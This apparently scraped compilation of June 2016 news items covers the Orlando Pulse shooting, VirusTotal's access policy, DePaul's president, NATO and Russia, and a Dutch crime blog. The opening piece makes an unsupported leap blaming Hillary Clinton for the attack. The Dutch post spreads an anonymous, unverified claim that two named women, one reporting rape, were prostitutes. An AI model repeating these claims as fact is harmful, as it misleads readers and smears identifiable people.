In the immediate aftermath of the Orlando massacre, Haney has found that the Islamic Center of Fort Pierce, Florida, is part of a network in the United States that originated in the Indian subcontinent.
The Fort Pierce mosque's website features a link that demonstrates its relationship to the Shariah Board of America, a division of the Rahmat-e-Alam Foundation, which operates the Darul Uloom Chicago madrassa.
The madrassa is closely affiliated with the Institute of Islamic Education, which was a major component of Haney's Tablighi Jamaat case.
Along with the State Department's and Department of Homeland Security's quashing of the case in June 2012, the administration subsequently ordered the deletion of an additional 67 records related to a report on the Institute of Islamic Education.
Haney explained that this kind of information comprises the ''dots'' that counter-terrorism analysts connect to form cases that are used to identify potential terrorist threats.
''This case struck me as very similar to the San Bernardino shooting case,'' Haney told WND on Sunday. ''I suspected that they were both part of a national and international network of organizations.''
He said that using open-source information, beginning with the Islamic Center of Fort Pierce, he discovered Sunday afternoon that his initial suspicions were correct.
''It's exactly how I would have approached a case if I was still active duty,'' he said.
''The FBI had opened cases twice on him, and yet they found no evidence to charge him,'' Haney pointed out.
''It means they didn't go through the same basic, analytical process that I went through over a three- or four-hour period in which I was able to link the mosque to my previous cases.''
The Orlando Sentinel reported the FBI interviewed Mateen three times for having alleged terrorist ties. He came to the FBI's attention in 2013 after he made inflammatory remarks to co-workers, but the investigation was closed.
In 2014, he was interviewed again for making contact with a suicide bomber.
Another member of the Fort Pierce mosque, 22-year-old Moner Mohammad Abusalha, blew himself up in an attack in Syria in 2014 with an explosives-laden truck.
Haney reports that Obama's FBI had Mateen on their radar at least twice, but both times the investigation was shut down.
This means Hillary Clinton's State Department is directly responsible for not flagging Mateen and getting Islamic terrorists off the streets. This is outrageous, and it should disqualify Hillary Clinton from being President of the Untied States.
What do you think about Hillary's link to the Orlando terrorist? Please leave us a comment (below) and tell us.
Google shakes up antivirus industry - CSMonitor.com
Tue, 14 Jun 2016 21:55
Google is in the process of limiting access to a widely used database of computer viruses and malicious software in a move that is having a ripple effect across the cybersecurity industry.
VirusTotal, a subsidiary of the search giant, said last week that it was attempting to curtail abuses of the database by mandating that any companies that access it must also participate in the service to help it grow.
VirusTotal receives about 1.2 million files each day from its free, public website that will scan against some 60 antivirus programs from leading makers such as Kaspersky Lab, Symantec, and Intel.
Companies pay to receive access to those files full of potentially new viruses and data on the consistency of malware scanners. Until the policy change, VirusTotal did not require companies to participate in scanning new files, meaning they did not add to the larger pool of malware information for the industry.
Many cybersecurity industry experts say that amounted to getting something for nothing.
What's more, industry insiders worry that access to VirusTotal let some antivirus companies develop software that only checked to see if VirusTotal had encountered the file before, rather than root out new strains of malware to protect their customers.
"If the rumors are true, these companies are selling a false sense of security," said Bogdan Botezatu, a senior analyst at BitDefender, an antivirus firm that participates on VirusTotal.
Ideally, he said, the community of cybersecurity firms would collaborate on creating the most up-to-date information on viruses in service of improving the overall industry, and keeping consumers safer. "VirusTotal is so important because antiviruses only work on trust and cooperation."
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"For this ecosystem to work," VirusTotal said in a May 4 blog post, "everyone who benefits from the community also needs to give back to the community."
VirusTotal did not say how many current companies it would limit from accessing the library, and Google did not respond to a request for additional comment about the new VirusTotal policies. But the changes are already having a tangible effect on the cybersecurity industry.
According to Reuters, VirusTotal has shut out the cybersecurity firm SentinelOne, which promoted its use of the tool in marketing materials. Representatives from Crowdstrike told Reuters it was currently negotiating a way to continue using the service.
Some firms have no qualms about leaving VirusTotal.
"People were saying that we were using VirusTotal to scan files, which we don't," said Stuart McClure, chief executive officer of Cylance, a firm that promotes its use of artificial intelligence to detect cyberthreats. "This is good chance for us to educate people on what we actually do. VirusTotal's policies won't affect us at all."
Still, he said, many companies may have had good reason not to share results of their own virus scans (often called "convictions") with the competition. "They would steal all of our convictions without giving us credit,'' he said.
The changes to VirusTotal will not effect how the public can use the service to search files and websites for viruses and other malicious software.
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DePaul President Capitulates To Outraged Anti-Milo Students, Tenders Resignation - Breitbart
Tue, 14 Jun 2016 21:48
Rev. Dennis H. Holtschneider has announced his plans to step down from his role as the President of DePaul University following pressure from radical left-wing activists in the wake of Breitbart Tech editor Milo Yiannopoulos' recent visit to campus.Holtschneider came under fire in late May for the University's handling of a lecture given by Yiannopoulos, which was interrupted and shut down by DePaul students. Despite Yiannopoulos being threatened by one of the protesters, DePaul administration, under Holtschneider's direction, refused to allow security to intervene during the event.
In response to the backlash over the mishandling of the event from students, alumni, and the general public, Holtschneider issued a lukewarm apology but failed to apologize to Yiannopoulos. As a result of the incident, the University's Facebook page received a barrage of negative reviews and complaints, which dropped the school's average rating overnight to below two stars out of five.
The apology only caused more problems for Holtschneider, however. The DePaul Black Leadership Coalition, representing black students and faculty members on campus, have put relentless pressure on the President ever since he apologized to the college Republicans, and called for his resignation. After attempting to placate them with a grovelling statement backtracking on his previous apology, Holtschneider has now revealed that he intends to resign.
In his resignation letter, Holtschneider claimed this decision is the best for the University moving forward. ''I believe, therefore, it's best for DePaul if I step aside in the summer of 2017 so that a new leader can assist the institution to name and ambitiously pursue its next set of strategic objectives.''
Holtschneider also claims that this decision was made several months ago, as part of a transition plan for the University.
View post on imgur.com
The entirety of President Holtschnieder's resignation letter to the faculty can be read below.
My dear colleagues and friends,Last Christmas, I spent the days before the New Year on retreat, reflecting on all that has been accomplished at DePaul. Many of the goals we set at the outset of my presidency for DePaul's enrollment, finances, academic quality, new academic programs, facilities, alumni organization, national reputation and, most importantly, its Catholic and Vincentian mission have been achieved. We've done this together through two, six-year strategic plans.
My intent had always been to conclude my service with the end of my contract in 2019. I realized, however, that this does not time well with DePaul's planning cycle. We have work still to accomplish on Vision 2018, yet within a year it will be time to prepare the next set of university goals. Strategic plans are six-year affairs at DePaul, and the campaigns that fund them are often longer in duration.
I believe, therefore, it's best for DePaul if I step aside in the summer of 2017 so that a new leader can assist the institution to name and ambitiously pursue its next set of strategic objectives. This way, momentum will continue unabated. To do otherwise would put the university in the position of having one president define the next strategic direction for another president to manage or, if we waited until 2019, put the university into a holding pattern until then.
My decision to step aside as president has been underway since my Christmas retreat. In late January, the provincial of my Vincentian congregation gave permission for this transition. I informed DePaul's board leadership in March, at which time we decided to share this news more broadly at the conclusion of the academic year. The Office of the Secretary and board leadership interviewed and hired a search firm in early May.
Please know I am not leaving for another position. While I will remain open to assignments after 2017, my present plan is to return to DePaul in my tenured faculty position following a year away from the institution to give the new president the breathing room he or she deserves.
The leadership of the board of trustees will write the campus later today to describe the search process and invite the broad involvement that is DePaul's custom. In the meantime, we have one more year together. I intend to use it aggressively not only to advance the Vision 2018 goals we set together several years ago, but also to work on the new goals emerging from our conversations about race and speech taking place these past weeks.
I know I will look back on my years leading DePaul with overflowing gratitude. This is an extraordinary university by any measure, and that is primarily because of the people who make up this institution. St. Vincent often attributed the developments in his life to God's providence, and that is the only category that can encompass my experience of having been invited into the DePaul community twelve years ago. As we enter into the ''baker's dozen'' year of my presidency, know how proud and grateful I am to work alongside you every day.
God bless you,Rev. Dennis H. Holtschneider, C.M.
Tom Ciccotta writes about Free Speech and Intellectual Diversity for Breitbart. You can follow him on Twitter @tciccotta or on Facebook. You can email him at tciccotta@breitbart.com
The Latest: Jamaica AG: Gay flag at US embassy disrespectful
Tue, 14 Jun 2016 21:06
ORLANDO, Fla. (AP) '-- The Latest on the Florida nightclub shooting. (all times local):
3:15 p.m.
Jamaica's attorney general says a decision to fly the rainbow flag at the U.S. Embassy following the Orlando gay nightclub massacre is an affront to the island's anti-sodomy laws.
On her social media accounts, Marlene Malahoo Forte condemned the worst mass shooting in modern U.S. history but says she found the Kingston embassy's decision to fly the rainbow flag "disrespectful of Jamaican laws."
The attorney general described this as her personal view.
On Tuesday, the U.S. Embassy said it is flying the rainbow flag "in solidarity with the victims who were targeted for being members of the LGBT community." U.S. embassies across the globe have also been flying the pride flag following the Sunday violence.
Jamaica has longstanding laws criminalizing gay sex between men remain. Stigma against LGBT citizens is common.
2:40 p.m.
Walt Disney Company is donating $1 million to a fund established by Orlando officials to help people affected by the nightclub shooting.
Disney officials also said they would match dollar-for-dollar individual contributions by the company's employees to the OneOrlando fund, established by Mayor Buddy Dyer following Sunday's shooting that killed 49 people and wounded 53 others.
Disney has about 74,000 employees in the Orlando area, which is home to its Walt Disney World resort.
Disney employees also have been encouraged to donate blood at five locations on the resort property. The company also is providing complimentary hotel accommodations to family and friends of victims.
The FBI's director has said the agency is trying to determine whether the Orlando nightclub shooter had recently scouted Walt Disney World and other locations as potential targets.
2:05 p.m.
An official says 23 of the 49 victims killed in the massacre at a gay Florida nightclub shooting are Puerto Ricans.
Puerto Rico's justice secretary, Cesar Miranda, hasn't specified how many were born in the U.S. mainland to Puerto Rican parents and how many had moved there from the island.
He issued a statement decrying "all the social problems that led to this massacre: intolerance about gender preferences , discrimination against Latin Americans in the United States and broad access to weapons in that country."
On Monday, Mexico's president said three people killed were citizens of his country.
The tragedy hit the gay and Hispanic communities especially hard. Sunday was Latino Night at the Pulse nightclub.
1:45 p.m.
One of the survivors of the nightclub shooting says she went from having the time of her life with her friends to the worst night of her life in a matter of minutes.
Twenty-year-old Patience Carter talked about the night from Florida Hospital Orlando on Tuesday where she is recovering from a gunshot wound. Carter says she was with a group of friends at the Pulse nightclub when she heard the gunshots on early Sunday.
Carter says one of her friends was killed and another was also shot and has more severe injuries. She described hearing the gunman's calls to 911 in which he said he was shooting because he wanted America to stop bombing his country. She says he spoke in Arabic and pledged his allegiance to the Islamic State.
The gunman was born in New York and his parents were born in Afghanistan.
She also described a person that she didn't know shielding her from being hit as the hostage situation came to a close and the gunman was killed by police.
Before speaking, Carter read a poem that ended with the words: "The guilt of being alive is heavy."
1:30 p.m.
A survivor who hid in the handicapped stall as a gunman attacked a gay Florida nightclub says he had to drag himself out to safety and is just grateful to be alive.
From a bed Tuesday at the hospital that treated him, Angel Santiago Jr. described to reporters how he survived the massacre. He says he got to club Pulse in Orlando about 12:30 a.m. Sunday. About 2 a.m., as the last drinks were served, he and the two friends he was with heard gunshots.
They made their way to the bathroom area and hid in the large stall. Santiago says about 15 people total were in there. He was shot in the left foot and right knee. The group tried to be quiet. He eventually dragged himself, unable to walk, out of the bathroom and toward police. He used his cellphone light to indicate his presence to officers, who soon grabbed him and got him outside.
He says he could see the bullet hole on one of his friends, who also is recovering. He says he never saw the shooter or heard him speak.
He says: "I don't even know how I'm alive today."
1 p.m.
President Barack Obama says anti-Muslim rhetoric from presumptive Republican presidential nominee Donald Trump is "not the America we want."
Obama is arguing that treating Muslim-Americans differently won't make the U.S. safer. He says it will make the country less safe by fueling the notion among followers of the Islamic State group that the West hates Muslims.
Obama lashed out a day after presumptive Republican nominee Donald Trump doubled down on his proposal to temporarily ban foreign Muslims from entering the U.S.
Obama says the U.S. was founded on freedom of religion and that there are no religious tests in America.
He says such talk makes Muslim-Americans feel like their government is betraying them.
Obama commented after meeting with his national security advisers on the threat posed by IS. He also was briefed on the investigation into the Orlando nightclub shooting.
A Tennessee lawmaker says his office has received threats for planning to give away the same type of semi-automatic rifle used by a gunman in the massacre of 49 people at an Orlando nightclub.
Republican state Rep. Andy Holt, a staunch gun rights supporter, had offered the AR-15 as a door prize at a fundraiser before the shootings took place. Following heavy criticism in the aftermath of the attacks, he said he would give away a second gun.
State Democratic Party Chair Mary Mancini on Monday said that the winner of the raffle could be "the next mass shooter."
Holt said his office was contacted repeatedly by an anonymous caller who said he was armed and threatened to pay the legislative office a visit on Tuesday.
12:40 p.m.
A man who knew the Orlando nightclub shooter as a teenager says the student infuriated his peers by joking about the Sept. 11, 2001, attacks.
Robert Zirkle says he and Omar Marteen lived in Stuart, Florida, and rode the same bus, though they attended different schools.
Zirkle says he and his friends were generally on good terms with Mateen until 9/11. Zirkle says Mateen made airplane and explosion sounds and appeared to be joking about the attacks.
Zirkle says, "My group of friends told him it wasn't a joke, and if he didn't knock it off he was going to have problems."
Zirkle is now 29 and lives in Johnson City, Tennessee. He says he would see Mateen when both teens worked at the mall but didn't have much contact after those jobs.
Chick-fil-A employees in Orlando, Florida, were serving food this past Sunday after the massacre at a gay night club, even though the chain is normally closed on Sundays in a nod to the religious beliefs of its founder.
The Facebook page for a local Chick-fil-A says a few employees from at least one Orlando location made food for people waiting in line to donate blood after the massacre that left 49 dead and dozens more injured. Another location noted that it simply responded just like numerous other Orlando businesses and residents.
Chick-fil-A touched off protests by gay rights advocates in 2012 after its CEO Dan Cathy voiced support for "biblical families" and opposition to same-sex marriages. As it seeks to expand its national footprint, the company has tried to draw a distinction between its business and the beliefs of its ownership.
12:25 p.m.
A law enforcement official says investigators who have spoken with the Orlando gunman's wife are looking into whether the two of them were recently at or outside the nightclub he attacked.
The official is familiar with the investigation, but was not authorized to discuss the investigation by name and spoke on condition of anonymity.
The official says investigators had been told that Mateen and his wife had been at the Pulse nightclub on a prior occasion and were trying to confirm the accuracy of that statement.
The official says the FBI has Mateen's phone and will try to use data from it to see if he had visited the club before.
The official says investigators have not ruled out charging anyone who may have had advance knowledge of the attack.
'-- Eric Tucker, Washington
The father of the gunman who attacked a gay Orlando nightclub says his son was not gay.
A U.S. official briefed on the case said Tuesday that the FBI is investigating reports that Omar Mateen had been a regular at the nightclub and had used gay dating apps. Investigators are looking into possible motives for the attack and have said Mateen appears to be a "homegrown extremist" who touted support not just for the Islamic State, but other radical groups that are its enemies.
Mateen's father, Seddique Mateen, said he never saw his son exhibit homophobic behavior except for one time in Miami when he saw two men kissing. The father answered questions from reporters on Tuesday at his home in Port Saint Lucie.
He added that his son's second wife, Noor Zahi Salman, returned to their apartment late Monday because she "needed clothes to wear." He said she is in shock, adding that she and his grandson are in Florida, but he didn't say where.
Asked about reports that his son celebrated the 9/11 terrorist attacks, he said that there may have been an incident at school, but he didn't want to discuss it in detail.
11:40 a.m.
The owner of the Orlando nightclub where dozens of people were massacred says her club will be rebuilt as a tribute and will honor those who were killed, wounded or left grieving.
Barbara Poma told the Today show's Matt Lauer (http://on.today.com/1VXgCXj) that she "will not let hate win" in the aftermath of the shootings.
Poma said she named the club Pulse in honor of her brother, who died from AIDS in 1991. The name was a way of keeping his heartbeat alive. She wanted Pulse to be "a safe place" for the gay community.
She says the club will be rebuilt as a tribute to the people who lost their lives, as well as the survivors and their relatives.
She also says she can't stop imagining the terror felt by those inside the nightclub amid the killing.
11:40 a.m.
A city-owned cemetery is donating free plots to the victims of the Pulse nightclub shooting.
Don Price is the sexton at Greenwood Cemetery in Orlando. He said Tuesday that the city is donating space to any of the victims' families. The cemetery was founded in 1880.
He says two families are already interested and have set up appointments to meet with the cemetery Tuesday.
Price says the county's medical examiner started releasing the first of the bodies Monday night.
11:35 a.m.
A doctor at the hospital treating nightclub shooting victims says that of the six patients who remain in the intensive care unit, one or two are still "profoundly ill."
Dr. Michael Cheatham of Orlando Regional Medical Center says many of those patients are recovering from the mass shooting early Sunday.
But he adds: "The big question is what their long-term outcome will be."
He says he suspects they may survive but will likely have lasting impacts on their health and functionality.
11:25 a.m.
A survivor of the Florida nightclub massacre is giving an emotional thank-you to staff at the hospital that treated him and other victims, and he says the gunman had to be "heartless" and "ruthless."
Angel Colon spoke alongside doctors Tuesday at Orlando Regional Medical Center. Nurse Megan Noblet told Colon that she think he was her second patient of the night as the flood of victims arrived. She described him as brave, and Colon told her and the other staff gathered, "I love you guys."
Asked his thoughts on the shooter, Colon said, "This person had to be heartless. ... This person is just enjoying doing this."
Colon made remarks in both English and Spanish at the news conference. The tragedy hit the city's gay and Hispanic communities especially hard. Sunday was Latino Night at the Pulse nightclub.
11:20 a.m.
A doctor who has been treating the wounded from the Orlando nightclub shooting says he would be surprised if the death toll doesn't rise.
Dr. Michael Cheatham said at a news conference Tuesday that six people are still critically ill at the hospital. He says they are doing everything they can for them and he asked people to pray for them.
Forty-nine people were killed when a gunman attacked a gay nightclub on early Sunday. More than 50 people were wounded in the attack. The gunman died in a shootout with police.
11:15 a.m.
A doctor who treated nightclub shooting victims says the massacre was "the largest disaster that we probably could have imagined."
Dr. Michael Cheatham of Orlando Regional Medical Center says hospital and trauma centers prepare for disasters, but "you can never prepare adequately."
Doctors at a Tuesday news conference praised the work of staff at the hospital, where six people remain "critically ill."
Cheatham says described great support at the hospital, saying there was "never a time we were without anything we needed." He also says the facility escalated rom two operating rooms to six within 30 to 60 minutes to care for the flood of patients.
11 a.m.
Doctors at the Orlando hospital that treated nightclub massacre victims are describing a chaotic night of patient after patient arriving for trauma treatment.
At a news conference Tuesday at Orlando Regional Medical Center, doctors described "truckloads" and "ambulance-loads" of patients.
Dr. Kathryn Bondani says the first patient that arrived was relatively stable, and the staff hoped that others would be in a similar condition. But the doctors soon got about five patients in much worse shape.
Dr. Chadwick Smith choked up a bit talking about the night. He described calling in additional staff and telling them, "This is not a drill, this is not a joke."
He says everyone answered "I'll be right there," and dozens of doctors and nurses showed up to help.
10:50 a.m.
A man who survived the nightclub shooting in Orlando says he thought "I'm next, I'm dead" as the gunman fired toward his head.
Angel Colon described the horrific night he survived during a news conference on Tuesday at the hospital. Appearing in a wheelchair with the doctors and nurses who treated him nearby, Colon talked about what happened early Sunday at the Pulse nightclub.
He says the gunman shot a girl next to him and then shot his hand and his hip. He says he pretended to be dead and the gunman kept firing his gun.
Colon says at times the gunman was shooting people who appeared that they had already been killed.
He thanked the hospital staff and said "I will love you guys forever."
10:40 a.m.
A doctor says six people wounded in the Orlando nightclub shooting are "critically ill" at the hospital and another five patients are in "guarded" condition.
Dr. Michael Cheatham of Orlando Regional Medical Center made the announcement at a news conference Tuesday.
Cheatham says 16 patients at the hospital are in stable condition.
The people were wounded when a gunman opened fire at a gay nightclub early Sunday.
10:10 a.m.
Family photos, drawings, blackboard messages, a Quran and books on Islam decorate the apartment where the shooter in the Orlando gay nightclub massacre lived with his wife.
Univision News reported the details and says it visited the home in Fort Pierce, Florida, on Monday when it was unoccupied. Univision reports that it was the morning after the FBI swept the apartment for evidence, and says the home was unlocked and not yet sealed off by crime-scene tape.
The report describes a blackboard message in the kitchen about an appointment at their 3-year-old son's school and a note with an Arabic phrase praising God.
Univision says that on the living room table was a document listing items investigators removed: 9 mm cartridges, an iPad mini, a Samsung phone, a Dell computer, a CD labeled with Mateen's name.
Mateen lived there with his second wife, Noor Salman.
10:05 a.m.
An official says the FBI is investigating reports that the Orlando massacre shooter had been a regular at the gay nightclub he attacked and had used gay dating apps.
The U.S. official had been briefed on the investigation into 29-year-old gunman Omar Mateen. The official was not authorized to discuss the investigation publicly and spoke on condition of anonymity Tuesday.
The comments follow reports and comments from patrons at the Orlando club Pulse that Mateen was a regular there and tried to pick up men. Previously, his Afghan-immigrant father had suggested Mateen may have acted out of anti-gay hatred, and said his son got angry recently about seeing two men kiss.
'--Eric Tucker in Washington
9:45 a.m.
The hospital treating those wounded in the shooting spree at an Orlando, Florida, nightclub that left 49 victims dead plans to hold a news conference where doctors and patients will speak.
According to a news release from Orlando Regional Medical Center, eight surgeons will share their stories from the hours after the shooting began. Two patients will also recount their stories from that night.
The news conference is scheduled for 10:30 a.m. Tuesday.
In addition to the 49 deaths, dozens more were wounded when Omar Mateen opened fire at a gay nightclub early Sunday. He was eventually killed in a shootout with police.
The ex-wife of the shooter at a gay Florida nightclub says the man enjoyed nightlife, but she's not sure if he had any homosexual tendencies.
Sitora Yusufiy spoke to CNN on Tuesday from Denver.
She says: "When we had gotten married, he confessed to me about his past ... that he very much enjoyed going to clubs and the nightlife, and there was a lot of pictures of him. ... I feel like it's a side of him or a part of him that he lived, but probably didn't want everybody to know about."
The comments follow reports from customers at the gay nightclub that shooter Omar Mateen was seen there regularly. One told The Associated Press that Mateen tried to pick up men there.
Asked whether she thinks her ex-husband was gay, Yusufiy said: "I don't know. He never personally or physically made any indications while we were together of that. But he did feel very strongly about homosexuality."
She says it's possible he hid feelings about being gay.
The couple were married in 2009 and divorced two years later. She has said he was abusive.
9:30 a.m.
Three Democrats in Congress say it was "unacceptable" that gay and bisexual men weren't able to donate blood after the shooting at a gay Orlando nightclub.
As hundreds rushed to blood banks after the shooting, rumors spread that no one would be turned away. However, the FDA bars blood donations from men who have had sex with a man in the previous year.
Illinois Rep. Mike Quigley's office issued a statement calling for the U.S. Food and Drug Administration to "lift this prejudicial ban." Quigley is the vice-chair of the Congressional LGBT Equality Caucus. California Rep. Barbara Lee and Wisconsin Sen. Tammy Baldwin also signed the statement.
They say the Orlando shooting shows "how crucial it is for FDA to develop better blood donor policies that are based on science and on individual risk factors."
7:40 a.m.
Homeland Security Secretary Jeh (jay) Johnson says Republican Donald Trump's proposal for a ban on immigration from countries with terrorist histories is impractical.
While declining to name Trump, Johnson condemned "overly simplistic suggestions" for dealing with the violence.
Appearing on ABC's "Good Morning America," Johnson defended President Barack Obama against Trump's charge that Obama has been too passive on the issue.
Johnson said that "I know from working with him for seven years that the president's No. 1 priority is the protection of Americans."
He added that authorities throughout the government continually reassess whether their strategy to combat this violence needs to be changed.
Johnson told ABC that protecting U.S. from attack is increasingly complicated in an era of "self-radicalization." He said "there's no indication" the Orlando attack was "terrorist-directed."
7:25 a.m.
Officials with an agency that collects blood donations across much of Florida continue to urge people to give blood in the wake of the Orlando nightclub massacre.
Potential donors are asked to make appointments at their local blood banks.
OneBlood officials posted videos on Facebook showing snacks and beverages donated for people waiting in long lines to give blood. Spokeswoman Stephanie Zaurin says donors are coming "in record numbers."
U.S. Food and Drug Administration spokeswoman Tara Goodin said in an email to The Associated Press that the Interorganizational Disaster Task Force met Sunday and ensured that all immediate needs for blood were met.
Goodwin said the agency appreciated the widespread desire to donate blood after the shooting at Pulse. She said scheduling appointments to donate blood "will help replenish the blood supply in an organized manner, without overwhelming the system."
7:10 a.m.
As they got back to work after the Sunday nightclub massacre, TV's late-night hosts faced the challenge of how to acknowledge it.
As in past tragedies, the jokesters shifted gears. Several opened their shows with apologies for departing from their customary monologues, instead voicing shock and sorrow.
"The Daily Show" host Trevor Noah pointed out that President Barack Obama has hosted 12 state dinners but 16 mass-shooting addresses. Noah raised the possibility that, without reasonable gun control, Obama should begin preparing Speech No. 17.
"The Late Show" host Stephen Colbert bemoaned "a national script" that seems to guide a nonproductive response to shootings. He declared that love could help Americans change that script.
Conan O'Brien, while noting that he had made a career-long policy of keeping political opinions to himself, expressed bewilderment that anyone is allowed to buy a semi-automatic assault rifle. He said, "These are weapons of war and they have no place in civilian life."
6:50 a.m.
The office of the U.N. human rights chief is decrying "insufficient gun control" in the United States and urging its leaders "to live up to its obligations to protect its citizens."
In the wake of a gunman's deadly attack on a Florida nightclub, Zeid Ra'ad al-Hussein criticized "irresponsible pro-gun propaganda" in the U.S. claiming that firearms make society safer, "when all evidence points to the contrary." He questioned the ease with which people in the U.S. can obtain firearms and assault weapons like one used in Sunday's attack.
Citing a U.N. report on firearms in April, Zeid pointed to examples of how control of firearms in many countries led to a "dramatic reduction in violent crime."
Office spokesman Rupert Colville told reporters Tuesday in Geneva: "The problem is the guns."
5:20 a.m.
Jim Van Horn said he was a frequent patron at Orlando's Pulse night club. He said another "regular" at the Florida gay bar was Omar Mateen, the man whose shooting rampage left 49 dead and dozens more wounded early Sunday in the worst mass shooting in modern U.S. history.
Speaking to The Associated Press late Monday, 71-year-old Van Horn says he saw Mateen trying to pick up men at the club.
Van Horn said he met Mateen once. He said the younger man was telling him about his ex-wife.
Van Horn says some friends then called him away and told him they didn't want him talking to Mateen because "they thought he was a strange person."
Despite Mateen's pledge of support to the Islamic State, other possible explanations emerged, including questions of whether he was conflicted about his sexuality.
His ex-wife said he suffered from mental illness. And his Afghan-immigrant father suggested he may have acted out of anti-gay hatred.
3:15 a.m.
Thousands in Orlando are mourning 49 people killed inside a gay nightclub as federal investigators examine possible motives for the gunman who committed the worst mass shooting in modern U.S. history.
The White House and the FBI said 29-year-old Omar Mateen, an American born Muslim, appears to be a "homegrown extremist" who had touted support not just for the Islamic State, but other radical groups that are its enemies.
Meanwhile, Mateen's ex-wife says he suffered from mental illness. And his Afghan-immigrant father says his son got angry recently about seeing two men kiss.
Meanwhile, thousands gathered Monday night in downtown Orlando for a vigil to support victims and survivors of the Pulse nightclub shooting on the lawn of Orlando's main performing arts venue.
It's Nato that's empire-building, not Putin
Tue, 14 Jun 2016 20:59
Just for once, let us try this argument with an open mind, employing arithmetic and geography and going easy on the adjectives. Two great land powers face each other. One of these powers, Russia, has given up control over 700,000 square miles of valuable territory. The other, the European Union, has gained control over 400,000 of those square miles. Which of these powers is expanding?
There remain 300,000 neutral square miles between the two, mostly in Ukraine. From Moscow's point of view, this is already a grievous, irretrievable loss. As Zbigniew Brzezinski, one of the canniest of the old Cold Warriors, wrote back in 1997, 'Ukraine'... is a geopolitical pivot because its very existence as an independent country helps to transform Russia. Without Ukraine, Russia ceases to be a Eurasian empire.'
This diminished Russia feels the spread of the EU and its armed wing, Nato, like a blow on an unhealed bruise. In February 2007, for instance, Vladimir Putin asked sulkily, 'Against whom is this expansion intended?'
I have never heard a clear answer to that question. The USSR, which Nato was founded to fight, expired in August 1991. So what is Nato's purpose now? Why does it even still exist?
There is no obvious need for an adversarial system in post-Soviet Europe. Even if Russia wanted to reconquer its lost empire, as some believe (a belief for which there is no serious evidence), it is too weak and too poor to do this. So why not invite Russia to join the great western alliances? Alas, it is obvious to everyone, but never stated, that Russia cannot ever join either Nato or the EU, for if it did so it would unbalance them both by its sheer size. There are many possible ways of dealing with this. One would be an adult recognition of the limits of human power, combined with an understanding of Russia's repeated experience of invasions and its lack of defensible borders.
But we do not do this. Instead we have a noisy pseudo-moral crusade, which would not withstand five minutes of serious consideration. Mr Putin's state is, beyond doubt, a sinister tyranny. But so is Recep Tayyip Erdogan's Turkey, which locks up far more journalists than does Russia. Turkey is an officially respectable Nato member, 40 years after seizing northern Cyprus, which it still occupies, in an almost exact precedent for Russia's seizure of Crimea. If Putin disgusts us so much, then why are we and the USA happy to do business with Erdogan, and also to fawn upon Saudi Arabia and China?
Contrary to myth, the expansion of the EU into the former communist world has not magically brought universal peace, love and prosperity. Croatia's economy has actually gone backwards since it joined. Corruption still exists in large parts of the EU's new south-eastern territories, and I am not sure that the rule of law could be said to have been properly established there. So the idea that the recruitment of Ukraine to the 'West' will magically turn that troubled nation into a sunny paradise of freedom, probity and wealth is perhaps a little idealistic, not to say mistaken.
It is all so much clearer if we realise that this quarrel is about power and land, not virtue. In truth, much of the eastward expansion of Nato was caused by the EU's initial unwillingness to take in backward, bankrupt and corrupt refugee states from the old Warsaw Pact. The policy could be summed up as 'We won't buy your tomatoes, but if it makes you happy you can shelter under our nuclear umbrella'. The promise was an empty assurance against a nonexistent threat. But an accidental arrangement hardened into a real confrontation. The less supine Russia was, the more its actions were interpreted as aggression in the West. Boris Yeltsin permitted western interests to rape his country, and did little to assert Russian power. So though he bombarded his own parliament, conducted a grisly war in Chechnya, raised corruption to Olympic levels and shamelessly rigged his own re-election, he yet remained a popular guest in western capitals and summits. Vladimir Putin's similar sins, by contrast, provide a pretext for ostracism and historically illiterate comparisons between him and Hitler.
This is because of his increasing avowal of Russian sovereignty, and of an independent foreign policy. There have been many East-West squabbles and scrimmages, not all of them Russia's fault. But the New Cold War really began in 2011, after Mr Putin dared to frustrate western '-- and Saudi '-- policy in Syria. George Friedman, the noted US intelligence and security expert, thinks Russia badly underestimated the level of American fury this would provoke. As Mr Friedman recently told the Moscow newspaper Kommersant, 'It was in this situation that the United States took a look at Russia and thought about what it [Russia] wants to see happen least of all: instability in Ukraine.'
Mr Friedman (no Putin stooge) also rather engagingly agrees with Moscow that overthrow last February of Viktor Yanukovych was 'the most blatant coup in history'. He is of course correct, as anyone unclouded by passion can see. The test of any action by your own side is to ask what you would think of it if the other side did it.
If Russia didn't grasp how angry Washington would get over Syria, did the West realise how furiously Russia would respond to the EU Association Agreement and to the fall of Yanukovych? Perhaps not. Fearing above all the irrecoverable loss to Nato of its treasured naval station in Sevastopol, Russia reacted. After 23 years of sullenly appeasing the West, Moscow finally said 'enough'. Since we're all supposed to be against appeasement, shouldn't we find this action understandable in a sovereign nation, even if we cannot actually praise it? And can anyone explain to me precisely why Britain, of all countries, should be siding with the expansion of the European Union and Nato into this dangerous and unstable part of the world?
The era of stable governments is over
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Peter Hitchens is a columnist for the Mail on Sunday.
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Verkracht in Qatar: waarom waren Lisa en Laura daar? - Misdaadjournalist Hendrik Jan Korterink: over achtergronden misdaad!
Tue, 14 Jun 2016 20:55
Nee, dat gun je niemand: in Qatar in de cel. Laura uit Utrecht. Haar moeder vertelt erover in De Telegraaf, het is vrij uitgebreid in het nieuws. Ze zou daar verkracht zijn door een jongeman en toen ze aangifte deed, zijn gearresteerd.
Dat kan. Laura was er samen met een vriendin, Lisa. Twee mooie jonge meiden op vakantie in Qatar. Maar nou meent onze Arabische correspondent de dames te herkennen. Is iemand die ook nogal veel reist. Kan natuurlijk zijn dat hij zich vergist en dan bij voorbaat excuus.
''Wilde even zeggen dat wat je nu leest in de kranten dat Laura (22) verkracht is grote onzin is. Ze was daar met Lisah (beiden prostituees) eerst in Dubai en erna in Qatar. Lisa adverteert ook gewoon op kinky. Lisa is Qatar uitgegooid en Laura hebben ze vastgezet omdat haar vader Arabisch is. Ze gaan met nog een andere vriendin heel vaak naar Dubai, Qatar, Kuweit en Marbella.''
Wat staat er in De Telegraaf? Marian, de moeder van Laura, zegt dat haar dochter een vriendelijke en spontane meid uit Utrecht is met een eigen bedrijfje. De naam van het bedrijfje staat er niet bij. Laura is opgepakt voor 'seks buiten het huwelijk', terwijl ze ''tijdens haar vakantie is verkracht door een jongeman uit Qatar die doodleuk beweert dat Laura zijn vriendin is.''
